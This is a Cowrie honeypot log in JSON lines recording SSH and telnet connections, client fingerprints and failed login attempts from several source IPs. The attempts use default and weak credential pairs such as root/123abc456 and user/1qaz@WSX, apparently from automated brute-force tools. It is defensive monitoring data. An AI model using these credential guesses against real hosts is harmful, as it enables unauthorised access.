{"eventid":"cowrie.session.closed","duration":35.9963583946228,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:02.279643Z","src_ip":"38.60.198.128","session":"9d6cc7690446","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"1qaz@WSX","message":"login attempt [user/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:02.483714Z","src_ip":"176.65.132.129","session":"84b78f2831bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00182366371155,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:02.999131Z","src_ip":"38.60.198.128","session":"f31355b9ce45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"198.98.56.227","src_port":44564,"dst_ip":"10.17.0.5","dst_port":22,"session":"ed1cf606e3cc","protocol":"ssh","message":"New connection: 198.98.56.227:44564 (10.17.0.5:22) [session: ed1cf606e3cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:03.290972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:03.298144Z","src_ip":"198.98.56.227","session":"ed1cf606e3cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:03.572068Z","src_ip":"176.65.132.129","session":"84b78f2831bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:03.640782Z","src_ip":"198.98.56.227","session":"ed1cf606e3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"wduser","password":"wduser","message":"login attempt [wduser/wduser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:04.793956Z","src_ip":"198.98.56.227","session":"ed1cf606e3cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":45550,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2215a24a0f5","protocol":"ssh","message":"New connection: 176.65.132.129:45550 (10.17.0.5:22) [session: b2215a24a0f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:05.509586Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:05.515871Z","src_ip":"176.65.132.129","session":"b2215a24a0f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:05.600695Z","src_ip":"176.65.132.129","session":"b2215a24a0f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:05.805198Z","src_ip":"198.98.56.227","session":"ed1cf606e3cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arthur","password":"arthur","message":"login attempt [arthur/arthur] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:05.862890Z","src_ip":"176.65.132.129","session":"b2215a24a0f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":5.9440224170684814,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:06.725843Z","src_ip":"45.81.23.16","session":"077b9d230a42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:06.948894Z","src_ip":"176.65.132.129","session":"b2215a24a0f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.481054306030273,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:07.623191Z","src_ip":"45.81.23.16","session":"63769e62bdac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59834,"dst_ip":"10.17.0.5","dst_port":22,"session":"b16d3eba0894","protocol":"ssh","message":"New connection: 176.65.132.129:59834 (10.17.0.5:22) [session: b16d3eba0894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:08.951610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:08.959691Z","src_ip":"176.65.132.129","session":"b16d3eba0894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:09.074625Z","src_ip":"176.65.132.129","session":"b16d3eba0894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test123","message":"login attempt [test/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:09.500009Z","src_ip":"176.65.132.129","session":"b16d3eba0894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:10.584172Z","src_ip":"176.65.132.129","session":"b16d3eba0894","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":59526,"dst_ip":"159.203.135.109","dst_port":23,"session":"67b19f50490d","protocol":"telnet","message":"New connection: 192.211.53.160:59526 (159.203.135.109:23) [session: 67b19f50490d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:11.718446Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":59842,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0bd76f0ed7a","protocol":"ssh","message":"New connection: 176.65.132.129:59842 (10.17.0.5:22) [session: f0bd76f0ed7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:12.460889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:12.465270Z","src_ip":"176.65.132.129","session":"f0bd76f0ed7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:12.549309Z","src_ip":"176.65.132.129","session":"f0bd76f0ed7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:12.797242Z","src_ip":"176.65.132.129","session":"f0bd76f0ed7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.60.198.128","src_port":49128,"dst_ip":"159.203.135.109","dst_port":23,"session":"4ba670d7522a","protocol":"telnet","message":"New connection: 38.60.198.128:49128 (159.203.135.109:23) [session: 4ba670d7522a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:12.989414Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:13.882601Z","src_ip":"176.65.132.129","session":"f0bd76f0ed7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.82.147","src_port":39692,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdc2a83c4f9b","protocol":"telnet","message":"New connection: 64.227.82.147:39692 (159.203.135.109:23) [session: cdc2a83c4f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:15.657892Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58386,"dst_ip":"10.17.0.5","dst_port":22,"session":"b88b1d2e7539","protocol":"ssh","message":"New connection: 176.65.132.129:58386 (10.17.0.5:22) [session: b88b1d2e7539]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:16.160564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:16.165531Z","src_ip":"176.65.132.129","session":"b88b1d2e7539","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:16.247213Z","src_ip":"176.65.132.129","session":"b88b1d2e7539","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123abc456","message":"login attempt [root/123abc456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:16.494640Z","src_ip":"176.65.132.129","session":"b88b1d2e7539","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.17848753929138,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:16.934766Z","src_ip":"38.60.198.128","session":"4da9495bc6b3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:17.710850Z","src_ip":"176.65.132.129","session":"b88b1d2e7539","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58388,"dst_ip":"10.17.0.5","dst_port":22,"session":"35b9bbd82aa9","protocol":"ssh","message":"New connection: 176.65.132.129:58388 (10.17.0.5:22) [session: 35b9bbd82aa9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:19.575592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:19.580469Z","src_ip":"176.65.132.129","session":"35b9bbd82aa9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:19.662684Z","src_ip":"176.65.132.129","session":"35b9bbd82aa9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"password","message":"login attempt [user/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:20.150038Z","src_ip":"176.65.132.129","session":"35b9bbd82aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":33374,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d571ed2e755","protocol":"telnet","message":"New connection: 192.211.53.160:33374 (159.203.135.109:23) [session: 1d571ed2e755]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:20.540300Z"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:21.236369Z","src_ip":"176.65.132.129","session":"35b9bbd82aa9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.211.53.160","src_port":32856,"dst_ip":"159.203.135.109","dst_port":23,"session":"9f8bdb7716ba","protocol":"telnet","message":"New connection: 192.211.53.160:32856 (159.203.135.109:23) [session: 9f8bdb7716ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:21.340393Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58390,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd12aa9881fd","protocol":"ssh","message":"New connection: 176.65.132.129:58390 (10.17.0.5:22) [session: dd12aa9881fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:23.297823Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:23.302615Z","src_ip":"176.65.132.129","session":"dd12aa9881fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00171518325806,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:23.317995Z","src_ip":"64.227.82.147","session":"b8573267425b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:23.385315Z","src_ip":"176.65.132.129","session":"dd12aa9881fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":7.787744045257568,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:23.445533Z","src_ip":"64.227.82.147","session":"cdc2a83c4f9b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"agent","password":"agent","message":"login attempt [agent/agent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:23.762287Z","src_ip":"176.65.132.129","session":"dd12aa9881fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"57.128.222.14","src_port":49396,"dst_ip":"159.203.135.109","dst_port":22,"session":"e7f823588d8e","protocol":"ssh","message":"New connection: 57.128.222.14:49396 (159.203.135.109:22) [session: e7f823588d8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:24.108878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T23:45:24.113715Z","src_ip":"57.128.222.14","session":"e7f823588d8e","protocol":"ssh"}
